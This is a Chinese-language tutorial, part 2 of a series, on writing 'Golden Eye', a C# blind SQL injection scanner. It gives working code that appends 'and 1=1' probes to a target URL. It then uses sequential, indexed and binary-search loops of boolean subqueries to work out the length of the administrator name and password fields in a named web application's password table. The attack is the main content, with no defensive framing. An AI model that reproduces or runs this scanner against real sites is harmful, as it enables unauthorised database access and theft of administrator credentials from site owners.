黃金眼——SQL注入掃描器的製作(2)
程式的編寫:
終於可以開始我最喜歡的部分了(^_*)。首先我要說一下我如何選擇程式設計工具。我的很多工具的編寫都是基於dotNET平臺,用C#編寫的。我覺得這種輕量級的工具應該用快速、方便的方法來編寫。當然,使用C/C++甚至彙編來編寫。你的工具執行效率會非常高。不過是不是太浪費了點呢?
這裡我要說點題外話。有朋友在我站上留言說該怎麼學程式設計。我的觀點,語言只是一個載體,一種表達方式。我想大家一定有這樣的體會:在描述一個事件或是一個物體時。有的時候用語言描述比較準確、方便;有的時候用數字描述更好。就是這個道理。程式設計,其實你用任何語言都可以。但是應該選擇最方便,最快速的。我個人很反對,因為喜歡彙編就排斥C#、JAVA這樣的中介軟體語言。因為喜歡C#或JAVA就排斥C/C++。這都是極端錯誤的!!!
好了,廢話了一大堆,多騙了很多稿費。我只是希望大家理解,因為我今天又要用C#來幹活了。嘿嘿……
老辦法,先給個介面讓大家有感性認識。今天我們就要設計這麼一個掃描器(圖1):
在介面上放置四個文字框:txtPage、txtName、txtPass、txtLog。分別作為目標頁面輸入框、管理員名顯示框、密碼顯示框和日誌顯示框。再放置兩個按鈕:btnTest、btnOK。作為測試按鈕和掃描按鈕。然後再放一些標籤,做美化和說明作用。介面實在是太簡單了。
下面就可以開始編碼了。
為了訪問我們的目標頁面,提交精心準備的SQL注入程式碼。我們必須要訪問網路、使用HTTP協議:連線、傳送、接收、斷開……等等,我們剛才好象說的是使用C/C++編寫的過程。是的,在C#中根本不用這麼麻煩。在dotNet類庫中已經為我們準備了整套的URL操作類。
在名字空間System.Net下有兩個類:HttpWebRequest、HttpWebResponse。分別負責請求(Request)和應答(Response)。具體的使用,請看下面的程式碼:
public bool GetPage(string url)
{
try
{
// 值臨時變數 r。
bool r = false;
// 對指定的 URL 建立 HttpWebRequest 物件。
HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(url);
// 傳送 HttpWebRequest 並等待迴應。
HttpWebResponse myHttpWebResponse = (HttpWebResponse)myHttpWebRequest.GetResponse();
// 檢測 HttpWebRequest 當為 HttpStatusCode.OK 時,設定臨時變數為 true。
if (myHttpWebResponse.StatusCode == HttpStatusCode.OK)
r = true;
// 釋放 HttpWebRequest 使用的資源。
myHttpWebResponse.Close();
// 函式返回臨時變數 r。
return r;
}
catch(WebException e)
{
//捕捉到 WebException 時函式返回 false。
return false;
}
catch(Exception e)
{
//捕捉到 Exception 時函式返回 false。
return false;
}
}
這個函式使用引數url傳入目標頁面的地址。
“HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(url);”這句建立一個HttpWebRequest物件和目標頁面相連線。
“HttpWebResponse myHttpWebResponse = (HttpWebResponse)myHttpWebRequest.GetResponse();”將傳送一個請求,並建立HttpWebResponse物件接收應答。
應答的程式碼將儲存於“myHttpWebResponse.StatusCode”中。這裡的應答程式碼就是伺服器返回的程式碼。比如200表示訪問成功、404表示頁面不存在、500表示伺服器內部錯誤(恩,好象前面SQL注入的時候,注入不成功都是顯示500錯誤麼。沒錯,看下面!)……
列舉型別HttpStatusCode中的列舉值就是上面說的伺服器返回程式碼。比如“HttpStatusCode.OK”就代表返回碼200;“HttpStatusCode. InternalServerError”就代表返回碼500。將這個應答程式碼“myHttpWebResponse.StatusCode”與列舉值“HttpStatusCode.OK”進行比較。如果相等,那麼說明頁面訪問成功,函式返回true。如果不相等,函式返回false。中間我還用try…catch…捕獲任何可能的錯誤。出現任何錯誤都返回false。
將這個函式加入主窗體的類中,同時要記得主窗體類要記得使用名字空間System.Net。這樣最核心的部分就做好了。下面我們就來看看這個函式怎麼用。
在按鈕btnTest的Click事件中新增下面的程式碼:
private void btnTest_Click(object sender, System.EventArgs e)
{
if(this.GetPage(txtPage.Text + "%20and%201=1"))
txtLog.Text = "該頁面可能存在 SQL 注入漏洞,可嘗試掃描!";
else
txtLog.Text = "該頁面不存在 SQL 注入漏洞,無法掃描! ";
}
“txtPage.Text + "%20and%201=1"”實際上就是合成SQL注入語句,要將目標頁面的地址填寫在txtPage文字框中。還記得前面說到的“and 1=1”麼?這裡只不過用UNICODE對空格進行了編碼。使用函式GetPage()判斷頁面是否可以訪問。如果返回true,那麼頁面可以訪問。說明注入測試成功,否則說明失敗。
我們自己寫的GetPage()函式會用了以後,再來看看如何真正實現掃描吧。這裡是最難的地方。但是思考過程會很有意思。
在講解SQL注入漏洞的時候我說了,可以使用“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=10)”的方法判斷使用者名稱長度是不是等於10。在“金梅”系統中,管理員名最大長度為20。那麼我們就可以:
“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=1)”
“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=2)”
“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=3)”
……
使用這樣的方法來測試管理員名到底為多長。當然,也可以用同樣的方法測試密碼的長度。不過“金梅”系統設定密碼最大長度為50。編寫下面的函式:
private int GetFieldLen(string table, string field, int l, int h)
{
for(int i = l; i <= h; i++)
if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))
return i;
return 0;
}
這個函式通用性很強。共有四個引數:table是我們要掃描的表名,在“金梅”系統中就是表password。Field是我們要測試長度的欄位名,比如“金梅”系統中的name和pwd兩個欄位。l和h兩個引數代表掃描的範圍。也就是測試的最小長度和最大長度。我們可以用這個函式來掃描管理員名,比如:GetFieldLen(“password”, “name”, 1, 20)。這時函式返回的是管理員名長度。如果掃描密碼長度可以:GetFieldLen(“password”, “pwd”, 1, 50)。
大家看到的這個函式是“黃金眼”1.0中的函式,可以說非常慢。因為為了比較出欄位值長,我們必須逐一的比較。比如很極端的情況,對方設定了一個20位長的管理員名、50位長的密碼。那麼比較的次數就是20次和50次,才能得到我們需要的長度。這種演算法被稱為“順序查詢”。演算法的優點就是簡單。大家可以看到一共用了4行程式碼,我們就完成了查詢。非常遺憾的是雖然編寫起來雖然非常簡單,但是執行效率低下!在“黃金眼”1.1中我使用“索引查詢”來提高了效率:
private int GetFieldLen(string table, string field, int l, int h)
{
int index1 = (l + h) / 3;
int index2 = (l + h) * 2 / 3;
if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")<" + index1.ToString() + ")"))
for(int i = l; i < index1; i++)
if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))
return i;
if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")<" + index2.ToString() + ")"))
for(int i = index1; i < index2; i++)
if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))
return i;
for(int i = index2; i <= h; i++)
if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))
return i;
return 0;
}
是不是看得有點暈了呢?“索引查詢”的程式碼要複雜得多!其實我給大家講一下什麼是“索引查詢”上面的程式碼就很清晰了。大家先看下面的序列:
1、2、3、4、5、6、7、8、9、10、11、12、13、14、15、16、17、18、19、20
這就是我們要查詢的序列。在這個查詢過程的第一句和第二句:“int index1 = (l + h) / 3;”、“int index2 = (l + h) * 2 / 3;”,我建立的實際上是兩個索引。比如這20個元素的查詢中,第一個索引為7,第二個索引為14。大家應該注意到了,在每個順序查詢語句的前面都有一個條件語句。這個條件語句就是判斷索引。過程大致如下:
判斷欄位長度是否小於7,如果小於,採用順序查詢查詢1-6。
否則
判斷欄位長度是否小於14,如果小於,採用順序查詢查詢7-13。
否則
採用順序查詢查詢14-20。
這樣利用索引將順序查詢的範圍縮小了2/3。查詢範圍小了,比較次數減少。速度當然就提高了很多。但這是最快的方法麼?先看看下面的程式碼:
private int GetFieldLen(string table, string field, int l, int h)
{
int nLen = 0;
int low = l;
int hig = h;
int mid;
int tmp = h - l;
while((low <= hig)&&(tmp!=0))
{
mid = (low + hig)/2;
if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")<" + mid.ToString() + ")"))
hig = mid - 1;
else
if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")>" + mid.ToString() + ")"))
low = mid + 1;
else
if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + mid.ToString() + ")"))
{
nLen = mid;
break;
}
--tmp;
}
return nLen;
}
很複雜,每次迴圈都使用“mid = (low + hig)/2;”計算新值。這就是“折半查詢”。我使用自然語言描述一下“折半查詢”的方法:
迴圈:當 low < high 或 查詢次數達到最大次數
mid = (low + high) / 2 //計算low和high的中間值
判斷欄位長度是否小於中間值mid,如果小於,令high = mid – 1
否則
判斷欄位長度是否大於中間值mid,如果大於,令low = mid + 1
否則
判斷欄位長度是否等於中間值mid,如果等於,返回欄位長度。
迴圈結束;
演算法有點難理解麼?其實你只要設定一組有序數。然後隨機選取一個數,套用上面的演算法查詢,一步一步做上幾次就明白了。Step by Step!